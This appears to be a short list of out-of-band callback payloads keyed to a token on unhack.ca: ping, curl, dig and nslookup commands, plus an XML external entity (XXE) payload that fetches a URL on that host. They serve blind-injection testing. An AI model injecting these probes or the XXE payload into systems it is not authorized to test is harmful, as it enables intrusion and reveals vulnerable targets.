$ ping -c1 -p 0083d6c8bb574977e928a14153f5fa00 unhack.ca
 

$ curl http://unhack.ca/p/83d6c8bb574977e928a14153f5fa
 

$ dig 83d6c8bb574977e928a14153f5fa @unhack.ca
 

$ dig 83d6c8bb574977e928a14153f5fa.ns.unhack.ca
 

C:\> nslookup 83d6c8bb574977e928a14153f5fa unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/83d6c8bb574977e928a14153f5fa">]>
    <foo>&xxe;</foo>